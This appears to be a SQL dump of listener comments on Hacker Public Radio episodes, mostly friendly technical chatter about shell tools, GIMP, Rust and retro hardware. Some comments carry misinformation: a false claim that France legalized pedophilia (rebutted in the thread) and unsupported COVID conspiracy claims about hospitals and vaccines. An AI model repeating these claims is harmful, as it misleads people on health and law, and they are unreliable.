(3208,3390,'2021-07-30 20:35:56','Kevin O\'Brien','You are most welcome','I\'m glad you enjoyed this trip down memory lane. I\'m basically releasing the DOS series shows about every four weeks or so, alternating with my GIMP shows.','2021-07-30 20:44:19'),
(3209,3394,'2021-08-05 14:54:19','norrist','My one cool xmlstarlet trick','I had to install an xml config file on a bunch of servers.\r\nThe xml was the same for every server except the hostname had to be added to a specific field.\r\n\r\nMy first thought was to use sed, but anyone who has tried parsing xml with regex knows just how far I got.\r\n\r\nSearching for something like sed that understood xml tags led me to xmlstarlet.\r\nHere is the command I used to add the hostname of the server to the xml path \"info/host-id\":\r\n\r\n    xmlstarlet ed --inplace  -u info/host-id -v `hostname -f` /path/to/info.xml','2021-08-05 18:01:02'),
(3210,3393,'2021-08-06 01:30:01','Trey','Thank you.','As someone who only occasionally uses XML and other data languages like JSON, your episodes on both topics were very helpful. \r\n\r\nIt is also encouraging to know that there is someone else out there who dispises markdown as much as I do. \r\n\r\nKeep up the great episodes.','2021-08-06 18:05:18'),
(3211,3382,'2021-08-06 10:17:20','Dave Morriss','I hadn\'t quite appreciated what was happening','Hi MrX,\r\n\r\nExcuse the ignorance, but I hadn\'t appreciated:\r\n(a) what a heat shield is, and \r\n(b) what problem was being solved!\r\n\r\nSo I have found out that a heat shield protects parts of the underside of a car from the heat of the exhaust pipe(s). It\'s a formed sheet of metal that is bolted to the underside of the car.\r\n\r\nThe problem was that the mounting holes in the metal sheet had corroded and become larger than the bolts and washers holding it on, leading to nasty rattling. The metal tin lids with holes drilled in them act as giant washers, holding the shield on again and preventing rattling!\r\n\r\nI realise that this was a great hack - now I understand it!','2021-08-06 18:05:18'),
(3212,3395,'2021-08-06 20:34:38','norrist','Please do more','It was a lot of fun to listen to how you worked your way through the different exploits.  I am looking forward to more.','2021-08-06 20:37:08'),
(3213,3382,'2021-08-07 21:52:53','MrX','Oops','Hi Dave, oops. I think I have a habit of doing this sort of thing. I can only apologise to yourself and to any potential listener. I&rsquo;m glad you managed to solve the mystery in the end and to explain it so eloquently. If only I had said something similar in my episode. Must remember in future to engage the brain before engaging the mouth :) \r\n\r\nAll the best MrX','2021-08-08 20:25:30'),
(3214,3388,'2021-08-07 22:25:51','dragestil','Regarding RMS','The number of signatories of the \"open letter\" is not five or six figures as mentioned in the episode. It is 3004. By contrast, a letter supporting Richard Stallman (https://rms-support-letter.github.io/) gained 6800 signatures. If the FSFE thinks the matter of right or wrong simply depends on how many people are made uncomfortable, it should withdraw its statement with unsubstantiated claims, as there are more people made uncomfortable by the lynch mob than by Richard Stallman.\r\n\r\nSee also https://stallmansupport.org/ for a comprehensive account and context of the drama.','2021-08-08 20:25:30'),
(3215,3393,'2021-08-07 23:11:13','Kevin O\'Brien','I loved the show','Great show, klaatu! In my previous career as a Project Manager working with big data systems, XML was important for data transfer. For example, in the automitve industry the major manufacturers would insist that suppliers use XML to send data (such as invoices; important!). And in health care it is useful for sending health data.\r\n\r\nAlso, you mentioned DocBook, and I seem to recall seeing you give a presentation on that, and I think it was at Indiana LinuxFest, but if not, probably Ohio LinuxFest. All good stuff.','2021-08-08 20:25:30'),
(3216,3377,'2021-08-08 05:22:47','Guardian','Lousy sound quality abuses audience.','Sorry but running the water while recording is a real F-U to your audience.  I hope we will never be subjected to another HPR episode that does that. One was way too many IMO.','2021-08-08 20:25:30'),
(3217,3331,'2021-08-08 21:00:54','bjb','Question about mic positioning','Thanks for a great episode - needless to say the audio is great : -)  also the topic is interesting and useful.  I\'m just coming back to the podcasts and listening to some older shows.\r\n\r\nRe: avoiding sibilant and popping sounds - and \"angling the mic\" - do we move the mic 20 degrees off to the side - or vertically?  Do we move the mic position in 3d space or do we just keep it in the same position but angle it\'s direction 20 degrees vertically/horizontally?\r\n\r\nThanks for the episode.  Much appreciated.','2021-08-09 18:55:29'),
(3218,3395,'2021-08-09 16:37:46','Kevin O\'Brien','I loved this story','I always love hearing people\'s war stories from security. If you have more, please send them in.','2021-08-09 18:55:29'),
(3219,3388,'2021-08-10 12:46:38','Bob','Clarification','In the interest of fairness and balance the rms-open-letter gained 3004 signatories and stopped accepting more after just Eight Days. The rms-support-letter has only garnered 6800 signatures while still accepting signatories over four and a half months later. You also forgot to mention the 61 organizations that are party to the rms-open-letter.','2021-08-10 21:56:34'),
(3220,3388,'2021-08-11 00:03:50','dragestil','Re: Clarification','In the interest of fairness and balance the rms-support-letter started one day after rms-open-letter.  On 2021-04-01 when rms-open-letter stopped accepting more signatures, rms-support-letter had 5051 signatures [1], compared to 3005 sigantures on rms-open-letter [2].\r\n\r\n[1]: https://web.archive.org/web/20210401173629/https://rms-support-letter.github.io/\r\n[2]: https://web.archive.org/web/20210401173734/https://rms-open-letter.github.io/','2022-02-14 13:25:16'),
(3221,3400,'2021-08-12 00:41:35','bjb','Thanks','Thanks for your series on GIMP, I\'ve always found it hard to use and I think this is going to clear up some of my issues.  In this episode - I\'m thankful to learn that layers have \"modes\", I didn\'t know that.  I think that\'s my main problem with GIMP - it has functionality I don\'t know about, and sometimes I end up in these other modes and all the commands do unexpected-to-me things in those modes.  So now I know to watch out for these layer modes.  I\'ll have to try it out!','2021-08-12 21:50:02'),
(3222,3400,'2021-08-12 22:20:53','Kevin O\'Brien','You are most welcome','I\'m glad you are finding this helpful. I can recall a time when I was totally confused about GIMP, and would look for some other program to use. Then I decided to dig in and figure it out, and now I wonder why more people don\'t use GIMP since it is so powerful. But like all powerful tools, it does take time to learn.','2021-08-13 22:08:22'),
(3223,3399,'2021-08-14 20:55:05','Kevin O\'Brien','Another good show','As anyone who has listened to my shows knows I take licensing very seriously. My own view is that if your objective is to expand the free software ecosystem, use the GPL. If your objective is to promote proprietary software, use one of the unrestrictive licenses like MIT or BSD','2021-08-15 20:25:53'),
(3224,3395,'2021-08-23 17:50:39','Beeza','Social Engineering Access','Hi Operat0r\r\n\r\nReally enjoyed this show. I was particularly interested in your references to gaining physical access to sites using social engineering. In England 40 years ago we used the term \"blagging\" and my late father was an expert at it. He was in the electrical engineering business and would almost routinely attend conferences and other events for which he had not paid the required fee. His secret was, as he put it, \"to look like you have every right to be there\", and if you can carry that off everything else drops into place.\r\n\r\nBear in mind that in those days tickets were paper rather than electronic, so a name \"missed\" from the official list could not be easily verified. Organisers would often apologise for their apparent shortcomings and make sure he got a good seat, freebies and even a free ticket for a forthcoming event.\r\n\r\nAn episode dedicated to this often overlooked and rare skill could be particularly popular - as long as listeners don\'t get too inspired and wind up behind bars!','2021-08-23 19:41:49'),
(3225,3407,'2021-08-27 05:16:14','Some Guy On The Internet','Great Show.','Great show.  I like humble bundle for my books because I can use them on any device.  Freedom seems to be hard work these days; we have to invest time researching ever purchase because of greedy companies.','2021-08-27 19:10:02'),
(3226,3410,'2021-08-27 17:30:43','Trey','Love this history','Thank you for sharing this info.  It is so much fun learning the history and challenges we take for granted behind today\'s technology.\r\n\r\nIt reminds me of the PBS 3 part documentary \"Triumph of the Nerds\"\r\n\r\nKeep up the awesome work.\r\n\r\nTrey','2021-08-27 19:10:02'),
(3227,3410,'2021-08-27 21:04:44','Kevin O\'Brien','You are most welcome','Ultimately klaatu is the person who got this going. This material was on my web site for over 20 years when he asked to use it for Opensource.com. That got me to ask Ken if he thought HPR would like it. But I guess it shows the value of having your own web sites and controlling your own content.','2021-08-27 21:55:02'),
(3228,3410,'2021-08-27 21:56:50','Jan','Observations','Many thanks for this really informative show. :-)\r\n\r\nThe mp3 seems to bee some what broken.','2021-08-27 22:21:43'),
(3229,3382,'2021-08-28 13:59:15','ShortFatBaldGuy','Appreciation for episode','Simple and elegant, use what you have! I always love listening to your episodes!  I used stainless hose clamps on my 2005 Tacoma catalytic converter heat shield, as I was not so fortunate to have a bolted on one.   So far they have lasted 5 years in case your lids meet an untimely demise.','2021-08-28 18:22:48'),
(3230,3323,'2021-08-29 15:55:14','bjb','Interesting','This was super interesting.  I have to admit I had one of Ken Fallon\'s thoughts (which he expressed in the community news covering April) - what happens if someone hosting a DNS server in the opennic group returns authoritative results for a name that ICANN should be responsible for - as an example, imagine someone else returns authoritative results for your bank\'s or doctor\'s URL.','2021-08-29 20:15:15'),
(3231,3410,'2021-08-30 14:29:32','Kevin O\'Brien','Audio quality','I don\'t know what problem you found with the MP3 file, but it was not on the original. I upload a FLAC file to HPR, which is then converted into other formats for downloading. I subscribe to the OGG feed, and just listened to the show on that feed, and there was no problem. So either there was a glitch in the conversion to MP3, or you had some issue with the download.','2021-08-30 18:41:48'),
(3232,3410,'2021-08-30 18:10:47','Ken Fallon','Can you define broken','Hi Jan,\r\n\r\nI checked all the files and I can\'t find anything odd.\r\n\r\nhttps://hackerpublicradio.org/eps/hpr3410/hpr3410.png\r\n\r\nCan you give me more information please.\r\n\r\nThanks\r\n\r\nKen.','2022-02-14 13:25:16'),
(3233,3413,'2021-09-01 01:14:43','b-yeezi','New tool for my toolbox','Thank you, Dave, for this great show. I will be definitely using coproc in the near future.','2021-09-01 20:33:16'),
(3234,3413,'2021-09-02 00:47:24','Trey','Excellent detail!','Thank you for the detailed explanations in this episode.  I was completely unfamiliar with coproc before listening.  Now I have something new to play with, and am learning something new.\r\n\r\nLooking forward to the next bash episode.','2021-09-02 18:15:04'),
(3235,3413,'2021-09-02 11:51:13','Dave Morriss','Re: New tool for my toolbox','Thanks b-yeezi,\r\n\r\nGlad you enjoyed the show. I hope you find coproc a useful thing. An HPR show on your experiences would be very welcome I\'m sure!\r\n\r\nDave','2021-09-02 18:15:04'),
(3236,3414,'2021-09-02 14:22:24','Trey','Controversial topic... Love it!','Hopefully this will spur some interesting discussions, and maybe further shows.\r\n\r\nThank you for sharing.','2021-09-02 18:15:05'),
(3237,3413,'2021-09-02 20:07:03','Dave Morriss','Re: Excellent detail!','Thanks Trey,\r\n\r\nGlad you found the show useful. I sometimes wonder if I\'m overdoing the detail, but I enjoy getting into the intricacies of stuff and like to share what I find.\r\n\r\nI\'m planning Bash Tips episode 22 at the moment, so it should be out before too long.\r\n\r\nDave','2021-09-02 20:08:06'),
(3238,3414,'2021-09-03 15:08:53','drad','Great Episode!','I appreciate this episode, regardless of your view critical thinking is key (for COVID and everything else in life). Great information that I hope will make people think and possibly do some research of their own.','2021-09-03 19:01:29'),
(3239,3415,'2021-09-04 19:25:19','Willingness','Awesome','Dude, these stories are fantastic. Please keep them coming. While the average listener may not appreciate each and every aspect, along with the technical details, they read (listen) more like an adventure than a resume...','2021-09-04 19:28:56'),
(3240,3416,'2021-09-07 00:57:13','Kevin O\'Brien','My former profession','You said something to the effect of me having a \"teacherly manner\", and that may be the result of my 20 years teaching at the university level. I loved the teaching part, but I hated the paperwork, and especially disliked to low pay. In the U.S. at least teaching is not valued at all, so I left academia to become an IT Project Manager, which is the main reason I can enjoy my retirement now.','2021-09-07 19:53:54'),
(3241,3417,'2021-09-08 12:34:37','Michael','Why Ceph?','Hi, thanks for the interesting podcast.  I actually thought of doing this as well.  Can I ask why you picked CEPH instead of Gluster?  I think Gluster has an ARM port (but I don\'t know if it works on Raspberry Pi).','2021-09-08 21:39:02'),
(3242,3414,'2021-09-09 16:02:59','Barbara Ann Walko','hpr3414','Thank you for this beneficial information about COVID and the benefits of Vitamin D3','2021-09-09 20:06:37'),
(3243,3414,'2021-09-09 17:50:18','Joel','Excellent analysis!','So much about this \'pandemic\' has been very questionable.  The Scientific Method demands observations from various perspectives.  That hasn\'t happened this time: anyone deviating from the politically-correct narrative was ignored, called names, or shouted down.  Coercion, bribery and threats to get \'the jab\' are suspect.  Where were directions on prevention and treatments?   CoGo mentions Vitamin D.  This parallels my findings on prevention; zinc also turns up in my research.  Big pharma is making big dollars on this event.  And as mentioned in this episode, an even more nefarious agenda may be happening than mere $ profit.  I heard it said that America is suffering from a lack of conspiracy theories! This is because most of what was initially called conspiracy theory has mostly become truth recently!   So yes:  critical thinking and research are required in our unusual times.  Thank you CoGo.','2021-09-09 20:06:37'),
(3244,3420,'2021-09-12 06:17:43','mu.rupeshkumar@gmail,com','can\'t hear in Mobile','Cannot hear in Mobile\n','2021-09-12 12:44:37'),
(3245,3420,'2021-09-13 10:17:58','Ken Fallon','Fixed','Thanks for the feedback. There were clicks in there that prevented the normalization from working.\r\n\r\nWe fixed it manually.','2021-09-13 20:06:00'),
(3246,3421,'2021-09-13 16:34:20','Trey','Welcome &amp; thanks for sharing!','Welcome and thank you for sharing.  I remember building gates from transistors and then more complex logic circuits from only NAND gates.  Those exercises help you to break complex problems down into more simple steps and are valuable in any technical career, especially information technology and security.\r\n\r\nI look forward to your future posts.','2021-09-13 20:06:00'),
(3247,3423,'2021-09-15 21:23:22','Trey','Great work','Thank you for sharing episodes like these.  Not only is the information you present valuable,  but sharing your thought process helps provide context,  as well as a launch point for others to build on.\r\n\r\nI encourage you to keep it up, and start using git to manage and share your code and comments. \r\n\r\nPS.  I still dispise markdown.   :)','2021-09-15 22:19:15'),
(3248,3426,'2021-09-20 16:01:09','Trey','Thank you.','I have been considering learning some Rust, and this has given me the nudge needed to give it a try.  \r\n\r\nLooking forward to \"Hello World\" episode.','2021-09-20 18:42:34'),
(3249,3426,'2021-09-20 19:38:44','Hipstre','Rust 101, Episode 0','Great to hear you talk about languages the way that you do. You give a lot of context without a lot of lingo. Looking forward to the next episode. \r\n\r\nLisp: Everything is a list.\r\nUnix: Everything is a file.\r\nRuby: Everything is an object.\r\nHaskell: Everything is a function.\r\nRust: EVERYTHING IS AN ERROR!','2021-09-20 20:23:24'),
(3250,3297,'2021-09-21 16:32:18','Ken Fallon','+1','Used this today','2021-09-21 18:27:34'),
(3251,3427,'2021-09-22 21:36:30','jrullo','Vim lover','This looks pretty great. I just installed ranger and love it already. Thanks for calling attention to ranger, etc. I\'m still digging in, but so far so awesome!','2021-09-22 21:41:13'),
(3252,3429,'2021-09-23 00:36:16','Clinton Roy','Just the usual complaint','Martin\'s volume is again/still way too low. It\'s a PITA to change the volume when speakers change.','2021-09-23 20:29:50'),
(3253,3430,'2021-09-24 11:34:10','Trey','Trip down memory lane...','Thank you, Ahuka. This brought back memories of working with PCs back in the \'80s.  Fun times.\r\n\r\nKeep up the awesome episodes.','2021-09-24 19:45:57'),
(3254,3430,'2021-09-24 20:44:26','Kevin O\'Brien','You are most welcome','I\'m glad you enjoyed it. It takes me back too. There are more to come.','2021-09-24 20:46:12'),
(3255,3431,'2021-09-27 12:15:59','Operat0r','Kids these days!','Wow... I didn\'t think people like you really existed! Mad props ! Me 4 days ago would have asked you about playing music though a SSH tunnel? but I just switched to PlexAmp for music because my wife uses Subsonic too. I think Subsonic is dying...Another thing is I really enjoy the highlighting in my windows MobaXterm terminal. I have tried a few times to get my entire terminal setup with syntax highlighting and keyword stuff like Moba does but its app specific ... so for example in Vi I can have nice colors then I leave the terminal and I get B/W .. What I want is everything everywhere highlighted like :\r\n\r\n\r\n* warning messages,error,not,info,complete,OK, IP address,commandline switches ( example ) https://mobaxterm.mobatek.net/img/moba/features/feature-syntax-highlighting.png\r\n* syntax highlighting (without having to name it .bash or .sh ) so for example if I cat out a binary file and it has random scripting or programing in it .. maybe it (detects) python and highlights that &hellip;\r\n\r\nAnyway great stuff keep fighting the good fight!','2021-09-27 19:46:17'),
(3256,3446,'2021-09-27 13:49:47','operat0r','Example script','I updated the script to work with \'most\' wonky file names:\r\n\r\nhttps://github.com/freeload101/SCRIPTS/blob/master/Bash/Stream_to_Text_with_Keywords.sh','2021-09-27 19:46:17'),
(3257,3431,'2021-09-28 15:53:48','b-yeezi','+1 for cnus','Thank you for this great show. I also use CMUS, as it\'s the only program that doesn\'t choke on my extremely large music library that I have on an NFS mount. I will be trying out most, and I encourage you to try out ranger!','2021-09-28 20:33:15'),
(3258,3431,'2021-09-29 16:50:49','sesamemucho','The text','Thanks for the show! At one point I used emacs on the console because I didn\'t have enough RAM to run X windows and a compiler at the same time.\r\n\r\nNever sat down and got the Linux console to use a good font - these days I run the i3 window manager, so I get a lot of terminal windows, and graphics apps as needed.\r\n\r\nIf you\'re looking for an improved sort of ncurses, you could look into the Textual framework.\r\n\r\nFigured there would be more comments here about \'6\'!','2021-09-29 20:24:03'),
(3259,3431,'2021-09-29 20:50:34','Dave Morriss','Very enjoyable','Hi,\r\n\r\nLoved the show. I started on mainframes in the 1970\'s where all there was was a teletype or physical terminal. I use X-Windows now, but spend the majority of my time in terminal emulators.\r\n\r\nHaving spent today in the Linux console on my Debian Testing system debugging a problem caused by the last update, I\'m appreciating being back in KDE. The problem was due to multiple incompatible versions of the NVIDIA \"legacy\" driver lurking in the system it turned out. I wouldn\'t want to stay in the console though, even with tmux.\r\n\r\nLike you I\'m a fan of ncurses, and have written a few simple things in my time.\r\n\r\nI\'m a Vim user and am contemplating moving to Neovim. I\'ve written a few basic extensions in Vimscript but like the look of Neovim\'s Lua interface.\r\n\r\nFinally, you had me going for a moment, calling \'vi\' \'six\' :-) Having been an ed and ex user in the past on various Unix flavours, I remembered that \'vi\' was the abbreviated \'visual\' command that gave you the screen mode from ex.\r\n\r\nDave\r\n','2021-09-29 13:53:40'),
(3260,3377,'2021-09-30 17:02:55','FSA','Sound Quality Trolling?','l\'m not a sound quality snob, and I\'m happy to listen to shows recorded with *unintentionally* not great audio as long as the subject matter is interesting to me. But I think it\'s another matter to intentionally create bad sound quality. Was it a joke? Just trying to make a point? Or just straight up trolling (which is what I suspect based on some of the other passing comments)? Whatever the answer, chalk up one more comment / vote against the idea of intentionally creating a bad experience for your listeners','2021-10-02 07:56:07'),
(3261,3434,'2021-10-01 05:02:24','b-yeezi','What an amazing show','I was truly impressed with this show. This could have been 2 or 3 shows. I appreciate the hard work you put into the show notes. I will be using them someday soon.\r\n\r\nOne note to other listeners - although you can install kubernetes on a Raspberry Pi 3, it\'s super slow, so I wouldn\'t recommend it.\r\n\r\nKeep up the great work!','2021-10-02 07:56:07'),
(3262,3434,'2021-10-01 17:48:20','Mike Ray','Great show','Great show Klaatu.\r\n\r\nFast delivery, accurate, concise, clear, uncluttered, few verbal ticks.\r\n\r\nVery few people can deliver a show as fast as I can think.\r\n\r\nOne of about half a dozen hosts that have me reaching for the play button instead of the delete button','2021-10-02 07:56:07'),
(3263,3433,'2021-10-02 05:08:36','Ben','Yikes!','Moves to legalize pedophilia in europe? Where did you hear that from, breitbart? I live here, I should have heard about something like that, but so far everything goes in the opposite direction, towards more child protection, and there\'re even some discussions about raising the age of consent (it\'s been forteen since the concept existed, which was way before even you were arround).\r\n\r\nAs for cigarettes and beer on airplanes: your freedom stops where my rights begin, and I feel I do have the right not to be covered in drug gunk and beer (carbonated drink don\'t work to well in low cabin pressure)','2021-10-02 19:55:09'),
(3264,3433,'2021-10-03 10:24:32','archer72','Good call, Ken','That was a good call, putting a disclaimer on this episode.  There was about 1 minute in that were facts about RMS, then devolved.   This was one in which I could not finish, as I am a parent like a lot of us in our little \'hacker space\'.   I find the subject of pedophilia disgusting and to most, I would imagine, no appropriate here.','2021-10-03 19:27:55'),
(3265,3426,'2021-10-04 20:56:17','Honkeymagoo','another fun way to learn rust','Another fun way to learn rust\r\nhttps://doc.rust-lang.org/stable/rust-by-example/','2021-10-04 21:51:47'),
(3266,3433,'2021-10-04 23:41:08','Zen_floater2','Reply to Ben','France legalized Pedophillia : see article.  France becomes latest EU nation to legalize Pedophilia \r\n\r\nhttps://thetruthrevolution.net/france-passes-pedophile-friendly-law-saying-children-can-consent-to-sex-with-adults/\r\n\r\nFrance follows a similar move in Germany to legalize Pedophillia - Age of consent to be 15 years of age.','2021-10-05 16:33:44'),
(3267,3433,'2021-10-04 23:45:51','Zen_floater2','Reply to archer72','I made the title of the show \"A Squirrels thoughts about RMS\"  and the subject line reads \"RMS and the subject of freedom\" specifically because I wanted to cover RMS\'s free speech rights being rejected by a commuinity.  And wanted to talk about that \'community\'s\' actions in causing damage to Richard Mathew Stallmans person.  \r\nThe show, should you have listened to it all the way, was not about Pedophilia explicitly but rather about the violation of RMS\'s rights as a person under the law.','2021-10-05 16:33:44'),
(3268,3433,'2021-10-05 16:30:10','Ken Fallon','Disapointed with this show','I added that warning following a complaint from a listener. Our guidelines are \"If you feel that your show will be considered inoffensive in every region of the world then you can signal that when you upload the show.\" This was not done in this case.\r\n\r\nHaving now listened to the show myself, I want everyone to know that I personally do not in any way endorse or support the opinions in this show. \r\n\r\nI am very disappointed with this show. I am sure that HPR would appreciate shows that covered these contentious topics - provided they were handled with care, compassion and without insulting anyone.','2021-10-05 16:33:44'),
(3269,3433,'2021-10-05 16:57:25','Bob','Deliberately misleading ?','I thought HPR was \"dedicated to sharing knowledge\", so why is this host distorting the truth ? \r\n\r\nhttps://www.factcheck.org/2018/08/putting-frances-consent-issue-into-context/\r\n\r\nQ: Did France pass \"a law saying having sex with a child is okay\"?\r\n\r\nA: No. The country already didn&rsquo;t have a legal consent age. The new law makes it easier to file rape charges against adults who have sex with those 15 or younger.','2021-10-06 22:12:58'),
(3270,3433,'2021-10-05 18:36:52','Zen_floater2','Reply to Ken Fallon','Ken,  I flagged the show using the supplied, \r\nis flagged as Explicit \" switch which is provided on the website.  It seems I don\'t understand the difference in what your requesting and this switch for Explicit content.  Offense is in the eye\'s of the beholder.  Frankly, anyone can be \'offended\' by anything Ken.  The term offended is highly subjective and easily pulled.  \r\nIf you feel this show is too much of a burden for you then by all means, delete the show.  If however you want to keep the show to use as an example to others, then keep the show.  Either way, I promise you that \"I WILL NOT BE OFFENDED\",  not offended in any way.  It\'s just a show Ken...  :}','2021-10-06 22:12:58'),
(3271,3431,'2021-10-06 16:36:48','Gumnos','Using \"c\" to pause in cmus','The controls in cmus are laid out like a traditional VCR/tape-player from left-to-right in the bottom corner of a traditional QWERTY keyboard:\r\n\r\nz=prev &#x23EE;&#xFE0F;  \r\nx=play &#x25B6;&#xFE0F;  \r\nc=pause &#x23EF;&#xFE0F;  \r\nv=stop &#x23F9;&#xFE0F;  \r\nb=next &#x23ED;&#xFE0F;  \r\n\r\nI can\'t say it helps me remember *much*, but at least that\'s the reasoning behind the non-mnemonic keys.','2021-10-06 22:12:59'),
(3272,3439,'2021-10-07 13:37:10','ClaudioM','Best of BSD!','Great episode, gents! That was an awesome interview and I could have listened for even longer if you did go the full 3 hours, LOL. Definitely better guests for interview than I\'d ever be. ;-)','2021-10-07 20:25:28'),
(3273,3438,'2021-10-07 13:42:20','ClaudioM','Mojeek','Great episode. Nice to hear a few of the ones I\'ve used and known about mentioned as well as some others I\'ve not known about. One that wasn\'t mentioned that I recently came to discover is called Mojeek. More information about Mojeek below.\r\n\r\nMojeek: https://www.mojeek.com/\r\n\r\nWikipedia entry on Mojeek: https://en.wikipedia.org/wiki/Mojeek\r\n\r\nSDF, the well-known public access UNIX system since 1987, has its own Whoogle instance: https://whoogle.sdf.org/','2021-10-07 20:25:28'),
(3274,3337,'2021-10-07 21:20:49','Windigo','Amazing','Through various hardware and software calamities, my podcasts have been out-of-reach for more than six months. Just recently, I\'ve been able to remedy it, and this was the first HPR episode in my queue that I was able to listen to.\r\n\r\nOh, how I\'ve missed HPR. Thank you for the thoroughly enjoyable episode!','2021-10-08 18:03:18'),
(3275,2793,'2021-10-08 10:58:59','clacke','Real world use, thanks Dave!','\"Now go out and play with this and come back with an example on how this is actually useful in the real world, and submit a show!\"\r\n\r\nDave Morriss did so in HPR3413:\r\n\r\nhttps://hackerpublicradio.org/eps.php?id=3413\r\n\r\nEven though he concludes that this feature is awkward compared to the alternatives, it\'s great to have a less contrived example!','2022-02-14 13:25:17'),
(3276,3439,'2021-10-09 15:57:10','Zen_floater2','This show put me up a tree','I had to play this show about 3 times to get all the content out of it.  Installing and running Gnome 3 on OpenBSD is extremely easy as GDM does all the work for you.  Setting up Pulse Audio is probably the hardest part most newbies have difficulty with.  But you know, this Squirrel is sick and tired of heavy desktops.  I\'m also getting sick and tired of Intel/AMD64 platforms - the plastic CPU\'s from hell.   And I long for the mainframe days where we just used a dumb terminal -  I was happy then.   I have a few OpenBSD servers to use via SSH which satisfy this urge but, I need to by some dumb terminals and put OpenBSD on my Rasberry PI 400 thingie and take my 2 chromebooks and just drown them both in a deep bathtub somewhere.   There is no such thing as a perfect desktop, I hate them all.  Those desktops always leave you feeling unsatisfied with life.    Why do we even put up with desktops and what drives Fedora to continue on with Gnome?  What are they going to get out of it?  What will IBM get out of it?  Everyone should run OpenBSD or NetBSD or Fuguita or how about GUIX with the HURD instead of all this linux stuff.   We want something different on the computer table.  Really, Gnome and SystemD is like a slow creeping cancer.  \r\nAnd a boring cancer too where your limbs fall off one at a time every 3-4 years.','2021-10-10 18:29:05'),
(3277,3442,'2021-10-13 13:41:32','Brian-in-ohio','science','Look at those show notes!\r\n I wish science was as pure as you say it is but were money is concerned, and you can\'t deny people have gotten wealthy because of covid-19, the science gets tainted. Richard Feynman would often point out how difficult science experiments are to do, especially in biological science, were control of variables is almost impossible. Proof that the science around covid is as muddled as any science, can be seen when the scientists decided to vaccinate the placebo group in the study, \r\nhttps://www.npr.org/sections/health-shots/2021/02/19/969143015/long-term-studies-of-covid-19-vaccines-hurt-by-placebo-recipients-getting-immuni \r\n(yes that is the whole url). That decision was driven by opinion, not facts. Science is hard and flawed. \r\n\r\nTrusting the experts can lead to things like systemd and them saying \'just trust us it works\'.\r\n\r\nAlso, much of what we call science is actually engineering, developement of RISC architecture is probaby done by engineers, whose goals are different than scientists.\r\n\r\nlastly a famous scientist said \r\n\r\n\'If you can\'t explain it simply, you don\'t understand it well enough.\'\r\n\r\nAlbert Einstein','2021-10-14 13:16:04'),
(3278,3442,'2021-10-13 14:05:32','e8hffff','Re:[HPR3442] Klaatu, CoVID, and Science','Klaatu, A science endeavour starts with a hypothesis that is later given weight via scrutiny from ALL KNOWN effecting factors.  Your claim that CoVID19 dangers and affects are known and an accepted condition by Medicos, is false as that stance presumes ethics and truths were a part of employment and statistics gathered during the so called CoVID19 pandemic.  It also presumes all Medicos are on-board CoVID19 Agenda, which is totally incorrect.\r\n\r\nIf you didn\'t shelter your mind or you only exposed yourself to filtered social media, btw not being offensive, you would know that it\'s common place for hospitals to place anyone with symptoms of CoVID19 (that includes influenza) into an induced-comma and then intubation/ventilators.  This makes attending a hospital in this era with any cold or flu, dangerous, as ventilators are known to damage the lungs and should only be used in extreme situations where no other option is available.  It\'s also common knowledge that hospitals around the world are refusing to use anti-viral medications, as it\'s not a part of the CoVID19 Agenda to use them, with early political demonisation.  Hospitals are also sponsored for deaths and treatment of CovID19 with money lump sums.  Therefore the deaths and surviving patients reflect the malpractice, resulting in bad statistics used in your SCIENCE assumption.\r\n\r\nThe CoVID19 vaccines another field of corruption and dangers.\r\n\r\n https://duckduckgo.com/?q=damaging+incubation+ventilators&amp;t=ffab&amp;ia=web','2021-10-14 13:16:05'),
(3279,3436,'2021-10-13 15:36:12','Ken Fallon','Clarification','In the last community news I said that he checked a show and found that it was \'of interest to hackers\'. I should have said he checked it and \"it was not spam\".\r\n\r\nhttps://hackerpublicradio.org/stuff_you_need_to_know.php\r\n\r\n\r\n*The audio of your show will not be moderated.*\r\n\r\nWe do not vet, edit, moderate or in any way censor any of the audio you submit, we trust you to do that. Aside from checking snippets for audio quality/spam checking, we have a policy that we don\'t listen to the shows before they are aired.','2021-10-14 13:16:05'),
(3280,3444,'2021-10-14 14:13:27','Brian-in-ohio','compliment','I loved this show! Nice to hear about older hardware being used.','2021-10-14 20:47:04'),
(3281,3442,'2021-10-14 17:53:40','kingbeowulf','scientific method selectively apply based on \"feelings\"?','Klaatu, your counterpoint is spot on and well said. The analogy to CPU design and construction is well done. There is a lot of chemistry and physics involved that even I have a hard time following.\r\n\r\nAs a chemist, I am befuddled by some of my colleagues forgetting the scientific method and singling COVID-19 vaccination as either unimportant or a \"conspiracy\", as compared to the dozens of other vaccines we all have taken. I sure a heck do not what to return to the \"good old days\" of polio, smallpox, diphtheria, measles, tetanus, hepatitis A/B, flu/HIB, pertussis, mumps...and don\'t even get me started on chicken pox...','2021-10-14 20:47:04'),
(3282,3444,'2021-10-14 18:07:17','Gumnos','Looking forward to this one!','I\'ve long desired to own a 5mx (possibly running either Linux or NetBSD) but have never been able to justify the cost outlay to myself. Looking forward to hearing about your adventures with it!','2021-10-14 20:47:04'),
(3283,3445,'2021-10-13 17:47:41','ironhelixx','This is the way to handle misinformation','I applaud you both for addressing this with facts and patience, and without dipping into any personal attacks - well done, and an enjoyable listen - thank you both for challenging the other episode logically, and for bringing some sanity to the conversation - best wishes to you both','2021-10-15 18:18:37'),
(3284,3442,'2021-10-14 23:32:00','Mad Sweeney','Hats Off to You','Klaatu, a very elegant rebuttal.\r\nHats off to you for your measured and thoughtful response and coolness\r\nin the face of such astonishing ignorance.','2021-10-15 18:18:37'),
(3285,3445,'2021-10-15 12:45:38','Aaronb','Reasoning','This is not a criticism for this podcast. But just something I come across once in a while.\r\n\r\nI will here people say \"I believe in this or don\'t believe that because I reason.\"\r\n\r\nIt\'s nice when people can declare themselves a reasonable person. It\'s different if others else views them that ways.','2021-10-15 18:18:38'),
(3286,3444,'2021-10-15 19:53:49','Cometcycle','Trip down memory lane','Great to hear a show about a Psion PDA. I still have a Revo somewhere in need of repair. Never got round to getting it working directly with Linux but used under a VM with Windows XP and Lotus Smartsuite.','2021-10-17 19:03:44'),
